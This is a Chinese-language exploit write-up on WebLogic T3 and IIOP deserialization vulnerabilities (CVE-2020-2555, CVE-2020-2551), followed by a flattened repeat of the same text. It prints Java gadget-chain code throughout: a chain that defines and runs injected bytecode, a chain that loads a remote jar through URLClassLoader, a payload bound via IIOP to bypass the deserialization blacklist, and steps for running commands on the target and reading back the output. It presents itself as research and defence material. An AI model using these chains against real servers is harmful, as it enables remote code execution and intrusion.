Weblogic T3/iiop 构造有回显exp方案分析
字数 1237 2025-08-25 22:58:28

Weblogic T3/IIOP协议反序列化漏洞利用与回显方案分析

1. 传统Weblogic T3协议回显分析

1.1 基本原理

传统Weblogic T3协议回显主要利用org.mozilla.classfile.DefiningClassLoader类加载恶意字节码,通过T3协议的反序列化漏洞发送给目标服务器。

关键代码片段:

private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(DefiningClassLoader.class),
        new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
        new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
        new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}),
        new ConstantTransformer(new HashSet())
    };
    return transformers;
}

1.2 恶意类实现要点

  1. 必须继承ClusterMasterRemote接口才能完成RMI交互
  2. 绑定实例的关键代码:
RemoteImpl remote = new RemoteImpl();
Context ctx = new InitialContext();
ctx.rebind("aaaaaaaa", remote);
System.out.println("installed");

2. T3反序列化机制分析

2.1 请求处理流程

  1. ExecuteThread.classrun函数监听7001端口连接
  2. 调用execute方法处理请求
  3. 通过SocketReaderRequest处理请求
  4. 最终调用MuxableSocketT3dispatch方法分发请求
  5. 调用readObject读取请求

2.2 黑名单机制

Weblogic在serverChannelInputStreamresolvClass中检查待反序列化的类是否在黑名单中。

黑名单位置:wlclient.jar/weblogic/utils/io/oif/WeblogicIbjectInputFilter.class

3. 绕过黑名单的思路

3.1 两种主要思路

  1. 绕过黑名单的gadget:例如CVE-2020-2555
  2. 新的反序列化途径:例如IIOP协议(CVE-2020-2551),该协议不受Weblogic黑名单限制

3.2 URLClassLoader方案

使用URLClassLoader加载远程jar包实现无文件落地:

ChainedExtractor chainedExtractor = new ChainedExtractor(new ReflectionExtractor[]{
    new ReflectionExtractor("getConstructor", new Object[]{new Class[]{URL[].class}}),
    new ReflectionExtractor("newInstance", new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}),
    new ReflectionExtractor("loadClass", new Object[]{className}),
    new ReflectionExtractor("getMethod", new Object[]{"test", new Class[0]}),
    new ReflectionExtractor("invoke", new Object[]{null, new Object[0]})
});

4. T3回显方案(CVE-2020-2555)

4.1 实现要点

  1. 使用CVE-2020-2555的gadget触发恶意类的绑定函数
  2. 成功绑定实例后可执行命令

4.2 局限性

该gadget无法在Weblogic 10.3.6下使用,因为缺少相关gadget的类

5. IIOP回显方案(CVE-2020-2551)

5.1 优势

IIOP反序列化不会使用Weblogic黑名单,可实现通用版本的回显方案

5.2 实现步骤

  1. 创建IIOP context
String rhost = converUrl(host, port);
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
return new InitialContext(env);
  1. 构造gadget并发送
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
context.rebind("UnicodeSec" + System.nanoTime(), badAttributeValueExpException);
  1. 检测绑定是否成功
try {
    Context initialContext = getInitialContext(converUrl(host, port));
    ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup(bindName);
    return remoteCode;
} catch (Exception e) {
    // 处理异常
}
  1. 执行命令并获取回显
String commandResponse = remoteCode.getServerLocation("showmecode" + command);
System.out.println("命令结果如下");
System.out.println(commandResponse);

6. 关键注意事项

  1. 必须添加wlsserver/server/lib/weblogic.jar到classpath,否则会报错
  2. Java反序列化不会传递类的代码和结构,只会传输类中的变量,因此需要使用classloader
  3. 单纯在攻击端执行bind触发漏洞不会绑定实例,必须通过特定方式实现

7. 参考资源

  1. Weblogic T3/IIOP协议分析
  2. weblogic_cmd工具

通过以上分析,我们可以全面了解Weblogic T3/IIOP协议的反序列化漏洞利用方式及回显实现方案,为安全研究和防御提供参考。

Weblogic T3/IIOP协议反序列化漏洞利用与回显方案分析 1. 传统Weblogic T3协议回显分析 1.1 基本原理 传统Weblogic T3协议回显主要利用 org.mozilla.classfile.DefiningClassLoader 类加载恶意字节码,通过T3协议的反序列化漏洞发送给目标服务器。 关键代码片段: 1.2 恶意类实现要点 必须继承 ClusterMasterRemote 接口才能完成RMI交互 绑定实例的关键代码: 2. T3反序列化机制分析 2.1 请求处理流程 ExecuteThread.class 的 run 函数监听7001端口连接 调用 execute 方法处理请求 通过 SocketReaderRequest 处理请求 最终调用 MuxableSocketT3 的 dispatch 方法分发请求 调用 readObject 读取请求 2.2 黑名单机制 Weblogic在 serverChannelInputStream 的 resolvClass 中检查待反序列化的类是否在黑名单中。 黑名单位置: wlclient.jar/weblogic/utils/io/oif/WeblogicIbjectInputFilter.class 3. 绕过黑名单的思路 3.1 两种主要思路 绕过黑名单的gadget :例如CVE-2020-2555 新的反序列化途径 :例如IIOP协议(CVE-2020-2551),该协议不受Weblogic黑名单限制 3.2 URLClassLoader方案 使用 URLClassLoader 加载远程jar包实现无文件落地: 4. T3回显方案(CVE-2020-2555) 4.1 实现要点 使用CVE-2020-2555的gadget触发恶意类的绑定函数 成功绑定实例后可执行命令 4.2 局限性 该gadget无法在Weblogic 10.3.6下使用,因为缺少相关gadget的类 5. IIOP回显方案(CVE-2020-2551) 5.1 优势 IIOP反序列化不会使用Weblogic黑名单,可实现通用版本的回显方案 5.2 实现步骤 创建IIOP context : 构造gadget并发送 : 检测绑定是否成功 : 执行命令并获取回显 : 6. 关键注意事项 必须添加 wlsserver/server/lib/weblogic.jar 到classpath,否则会报错 Java反序列化不会传递类的代码和结构,只会传输类中的变量,因此需要使用classloader 单纯在攻击端执行bind触发漏洞不会绑定实例,必须通过特定方式实现 7. 参考资源 Weblogic T3/IIOP协议分析 weblogic_ cmd工具 通过以上分析,我们可以全面了解Weblogic T3/IIOP协议的反序列化漏洞利用方式及回显实现方案,为安全研究和防御提供参考。